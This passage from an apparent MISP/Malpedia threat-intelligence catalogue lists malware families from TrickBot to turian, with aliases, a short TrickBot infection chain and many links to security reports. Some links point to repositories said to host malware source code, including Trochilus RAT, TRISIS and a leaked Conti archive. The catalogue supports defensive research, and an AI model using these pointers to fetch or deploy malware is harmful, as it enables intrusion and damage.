Infection Vector 1. Phish > Link MS Office > Macro Enabled > Downloader > Trickbot 2. Phish > Attached MS Office > Macro Enabled > Downloader > Trickbot 3. Phish > Attached MS Office > Macro enabled > Trickbot installed

The tag is: *misp-galaxy:malpedia="TrickBot"*

TrickBot is also known as:

- TheTrick
- TrickLoader
- Trickster

Table 3274. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption
https://blog.talosintelligence.com/2020/03/trickbot-primer.html
https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms
https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/
https://www.fortinet.com/blog/threat-research/global-malicious-spam-campaign-using-black-lives-matter-as-a-lure
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors
https://www.bleepingcomputer.com/news/security/trickbot-now-steals-windows-active-directory-credentials/
https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure
https://www.ic3.gov/Media/News/2022/220120.pdf
https://blog.fraudwatchinternational.com/malware/trickbot-malware-works
https://na.eventscloud.com/file_uploads/6568237bca6dc156e5c5557c5989e97c_CrowdStrikeFal.Con2019_ThroughEyesOfAdversary_J.Ayers.pdf
https://therecord.media/us-arrests-latvian-woman-who-worked-on-trickbot-malware-source-code/
https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/
https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident
https://community.riskiq.com/article/111d6005/description
https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/
https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html
https://www.gosecure.net/blog/2021/12/03/trickbot-leverages-zoom-work-from-home-interview-malspam-heavens-gate-and-spamhaus/
https://therecord.media/trickbot-gang-shuts-down-botnet-after-months-of-inactivity/
https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/
https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/
https://www.intrinsec.com/deobfuscating-hunting-ostap/

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/
https://www.netscout.com/blog/asert/dropping-anchor
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?*blob=publicationFile&v=2[https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf*?blob=publicationFile&v=2]
https://www.youtube.com/watch?v=EyDiIAt*dI[https://www.youtube.com/watch?v=EyDiIAt*dI]
https://securityintelligence.com/posts/trickbot-survival-instinct-trickboot-version/
https://unit42.paloaltonetworks.com/trickbot-campaign-uses-fake-payroll-emails-to-conduct-phishing-attacks/
https://us-cert.cisa.gov/ncas/alerts/aa21-076a
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/
https://www.reuters.com/technology/details-another-big-ransomware-group-trickbot-leak-online-experts-say-2022-03-04/
https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/
https://www.secdata.com/the-trickbot-and-mikrotik/
https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/
https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/
https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-trickbot-infections/
https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf
https://threatpost.com/trickbot-amazon-paypal-top-brands/178483/
https://www.cert.pl/en/news/single/detricking-trickbot-loader/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/
https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf
https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/
https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/
https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a
https://blog.morphisec.com/trickbot-delivery-method-gets-a-new-upgrade-focusing-on-windows

https://www.deepinstinct.com/2019/07/12/trickbooster-trickbots-email-based-infection-module/
https://osint.fans/service-nsw-russia-association
https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/
https://blog.cyberint.com/ryuk-crypto-ransomware
https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://community.riskiq.com/article/04ec92f4
https://blog.lumen.com/a-look-inside-the-trickbot-botnet/
https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/
https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/21/trickbot_a_closerl-TpQ0.html
https://labs.sentinelone.com/building-a-custom-malware-analysis-lab-environment/
https://www.infosecurity-magazine.com/blogs/trickbot-mikrotik-connection/
https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/evolving-trickbot-adds-detection-evasion-and-screen-locking-features
https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes
https://www.mandiant.com/media/12596/download
https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf
https://redcanary.com/resources/webinars/deep-dive-process-injection/
https://share.vx-underground.org/Conti/
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html
https://blog.morphisec.com/trickbot-uses-a-new-windows-10-uac-bypass
https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html
https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/

https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware
https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/
https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/
https://www.bleepingcomputer.com/news/security/trickbot-now-uses-a-windows-10-uac-bypass-to-evade-detection/
https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns
https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/
https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89
https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf
https://cyber.wtf/2020/08/31/trickbot-rdpscandll-password-transof/
https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth
https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/
https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes
https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre
https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/
https://www.wired.com/story/trickbot-malware-group-internal-messages/
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://www.bleepingcomputer.com/news/security/trickbot-malware-mistakenly-warns-victims-that-they-are-infected/
https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles
https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-reversing-the-dropper-variant/
https://hurricanelabs.com/splunk-tutorials/splunking-with-sysmon-part-4-detecting-trickbot/
http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot
https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them
https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/
https://f5.com/labs/articles/threat-intelligence/malware/little-trickbot-growing-up-new-campaign-24412
https://noticeofpleadings.com/trickbot/files/Complaint%20and%20Summons/2020-10-06%20Trickbot%201%20Complaint%20with%20exs.pdf

https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/
http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c
https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/
https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/
https://www.cyberbit.com/latest-trickbot-variant-has-new-tricks-up-its-sleeve/
https://www.wired.co.uk/article/trickbot-malware-group-internal-messages
https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/
https://public.intel471.com/blog/global-trickbot-disruption-operation-shows-promise/
https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html
https://www.joesecurity.org/blog/498839998833561473
https://intel471.com/blog/conti-leaks-ransomware-development
https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html
https://cofenselabs.com/all-you-need-is-text-second-wave/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://twitter.com/VK_Intel/status/1328578336021483522
https://twitter.com/anthomsec/status/1321865315513520128
https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf
https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/
https://labs.sentinelone.com/revealing-the-trick-a-deep-dive-into-trickloader-obfuscation/
https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/
https://www.youtube.com/watch?v=EdchPEHnohw
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
https://www.justice.gov/opa/pr/latvian-national-charged-alleged-role-transnational-cybercrime-organization

https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/
https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/
https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573
https://securityintelligence.com/trickbot-takes-to-latin-america-continues-to-expand-its-global-reach/
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/
https://intel471.com/blog/a-brief-history-of-ta505
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.slideshare.net/proidea_conferences/inside-cybercrime-groups-harvesting-active-directory-for-fun-and-profit-vitali-kremez
https://www.govcert.ch/blog/37/trickbot-an-analysis-of-data-collected-from-the-botnet
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://duo.com/decipher/trickbot-up-to-its-old-tricks
https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022
https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf
http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html
https://inquest.net/blog/2019/08/26/TrickBot-Memory-Analysis
https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/22/trickbot-fake-ips-part2.html
https://research.checkpoint.com/2022/a-modern-ninja-evasive-trickbot-attacks-customers-of-60-high-profile-companies/
https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module
https://thehackernews.com/2022/05/malware-analysis-trickbot.html
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/17/trickbots-latest-trick.html
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/
https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/
https://labs.vipre.com/trickbots-tricks/
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest
https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/
https://www.youtube.com/watch?v=KMcSAlS9zGE
https://github.com/JR0driguezB/malware_configs/tree/master/TrickBot
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
http://www.secureworks.com/research/threat-profiles/gold-blackburn
https://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html
https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html
https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html
https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor
https://www.welivesecurity.com/wp-content/uploads/2021/02/ESET_Threat_Report_Q42020.pdf
https://therecord.media/trickbot-new-attacks-see-the-botnet-deploy-new-banking-module-new-ransomware/
https://intel471.com/blog/conti-emotet-ransomware-conti-leaks
https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/
https://www.youtube.com/watch?v=Brx4cygfmg8
https://www.zscaler.com/blogs/research/trickbot-emerges-few-new-tricks
https://www.secureworks.com/research/threat-profiles/gold-ulrick
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf
https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document.html
https://www.justice.gov/opa/pr/russian-national-extradited-united-states-face-charges-alleged-role-cybercriminal

https://securityintelligence.com/posts/trickbot-bolsters-layered-defenses-prevent-injection/
https://labs.sentinelone.com/how-trickbot-hooking-engine-targets-windows-10-browsers/
https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked
https://www.secureworks.com/research/threat-profiles/gold-blackburn
https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/
https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/
https://www.arbornetworks.com/blog/asert/trickbot-banker-insights/
https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/
https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html
https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html
https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf
https://threatresearch.ext.hp.com/detecting-a-stealthy-trickbot-campaign/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://technical.nttsecurity.com/post/102fnog/targeted-trickbot-activity-drops-powerbrace-backdoor
https://blog.vincss.net/2021/10/re025-trickbot-many-tricks.html
https://securelist.com/financial-cyberthreats-in-2020/101638/
https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/
https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf
https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/
https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx
https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/
https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html
https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/
https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf
https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://securelist.com/trickbot-module-descriptions/104603/
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly/
https://www.microsoft.com/security/blog/2022/03/16/uncovering-trickbots-use-of-iot-devices-in-command-and-control-infrastructure/
https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/
https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf
https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/
https://arcticwolf.com/resources/blog/karakurt-web
http://www.peppermalware.com/2019/03/quick-analysis-of-trickbot-sample-with.html
http://www.vkremez.com/2018/04/lets-learn-trickbot-implements-network.html
https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/
https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/
https://labs.bitdefender.com/2020/11/trickbot-is-dead-long-live-trickbot/
https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-2-loader
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/
http://www.vkremez.com/2017/12/lets-learn-introducing-new-trickbot.html
https://www.bleepingcomputer.com/news/security/malware-tries-to-trump-security-software-with-potus-impeachment/
https://www.hornetsecurity.com/en/security-information/trickbot-malspam-leveraging-black-lives-matter-as-lure/
https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6
https://unit42.paloaltonetworks.com/goodbye-mworm-hello-nworm-trickbot-updates-propagation-module/
https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/
https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/

https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships
https://www.washingtonpost.com/national-security/cyber-command-trickbot-disrupt/2020/10/09/19587aae-0a32-11eb-a166-dc429b380d10_story.html
https://www.secureworks.com/research/threat-profiles/gold-swathmore
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://www.advintel.io/post/the-trickbot-saga-s-finale-has-aired-but-a-spinoff-is-already-in-the-works
https://medium.com/@vishal_29486/trickbot-a-concise-treatise-d7e4cc97f737
https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.justice.gov/opa/press-release/file/1445241/download
https://public.intel471.com/blog/trickbot-online-emotet-microsoft-cyber-command-disruption-attempts/
http://www.malware-traffic-analysis.net/2018/02/01/
https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/
https://community.riskiq.com/article/298c9fc9
https://www.kryptoslogic.com/blog/2021/02/trickbot-masrv-module/
https://www.splunk.com/en_us/blog/security/detecting-trickbots.html
https://intel471.com/blog/privateloader-malware
https://blogs.microsoft.com/on-the-issues/2020/10/20/trickbot-ransomware-disruption-update/
https://unit42.paloaltonetworks.com/ryuk-ransomware/
https://www.advanced-intel.com/post/trickbot-group-launches-test-module-alerting-on-fraud-activity
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf
https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056
https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group

https://www.hhs.gov/sites/default/files/bazarloader.pdf
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.youtube.com/watch?v=lTywPmZEU1A
https://public.intel471.com/blog/partners-in-crime-north-koreans-and-elite-russian-speaking-cybercriminals/
https://www.microsoft.com/security/blog/2020/10/12/trickbot-disrupted/
https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/
https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/
https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

Triton

Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers.

The tag is: *misp-galaxy:malpedia="Triton"*

Triton is also known as:

- HatMan
- Trisis

Table 3275. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.triton
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20A%29_S508C.PDF
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1538425180.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-083a
https://www.eenews.net/stories/1060123327/
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://dragos.com/blog/trisis/TRISIS-01.pdf

https://www.nozominetworks.com//downloads/US/Nozomi-Networks-TRITON-The-First-SIS-Cyberattack.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.ic3.gov/Media/News/2022/220325.pdf
https://home.treasury.gov/news/press-releases/sm1162
https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html
https://securelist.com/apt-trends-report-q2-2019/91897/
https://github.com/ICSrepo/TRISIS-TRITON-HATMAN
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf
https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security

Trochilus RAT

Trochilus is a C++ written RAT, which is available on GitHub. GitHub Repo: - https://github.com/m0n0ph1/malware-1/tree/master/Trochilus - https://github.com/5loyd/trochilus

The tag is: *misp-galaxy:malpedia="Trochilus RAT"*

Trochilus RAT is also known as:

Table 3276. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html
https://github.com/m0n0ph1/malware-1/tree/master/Trochilus
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf
https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains
https://www.secureworks.com/research/threat-profiles/bronze-vinewood

https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn
https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://github.com/5loyd/trochilus/

Troldesh

The tag is: *misp-galaxy:malpedia="Troldesh"*

Troldesh is also known as:

- Shade

Table 3277. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh
https://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/
https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/
https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/
https://labs.bitdefender.com/2020/05/shade-troldesh-ransomware-decryption-tool/
https://securelist.com/the-shade-encryptor-a-double-threat/72087/
https://unit42.paloaltonetworks.com/shade-ransomware-hits-high-tech-wholesale-education-sectors-in-u-s-japan-india-thailand-canada/
https://support.kaspersky.com/13059
https://blog.avast.com/ransomware-strain-troldesh-spikes
https://www.zdnet.com/article/shade-troldesh-ransomware-shuts-down-and-releases-all-decryption-keys/
https://github.com/shade-team/keys
https://www.welivesecurity.com/2019/01/28/russia-hit-new-wave-ransomware-spam/

TroubleGrabber

The tag is: *misp-galaxy:malpedia="TroubleGrabber"*

TroubleGrabber is also known as:

Table 3278. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.troublegrabber
https://www.netskope.com/blog/here-comes-troublegrabber-stealing-credentials-through-discord

troystealer

The tag is: *misp-galaxy:malpedia="troystealer"*

troystealer is also known as:

Table 3279. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.troystealer
https://seguranca-informatica.pt/troystealer-a-new-info-stealer-targeting-portuguese-internet-users

Trump Ransom

The tag is: *misp-galaxy:malpedia="Trump Ransom"*

Trump Ransom is also known as:

Table 3280. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trump_ransom

Tsifiri

The tag is: *misp-galaxy:malpedia="Tsifiri"*

Tsifiri is also known as:

Table 3281. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tsifiri

TUNNELFISH

The tag is: *misp-galaxy:malpedia="TUNNELFISH"*

TUNNELFISH is also known as:

Table 3282. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tunnelfish
https://www.secureworks.com/blog/opsec-mistakes-reveal-cobalt-mirage-threat-actors

turian

The tag is: *misp-galaxy:malpedia="turian"*

turian is also known as:

Table 3283. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turian
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/
https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day

Turkojan

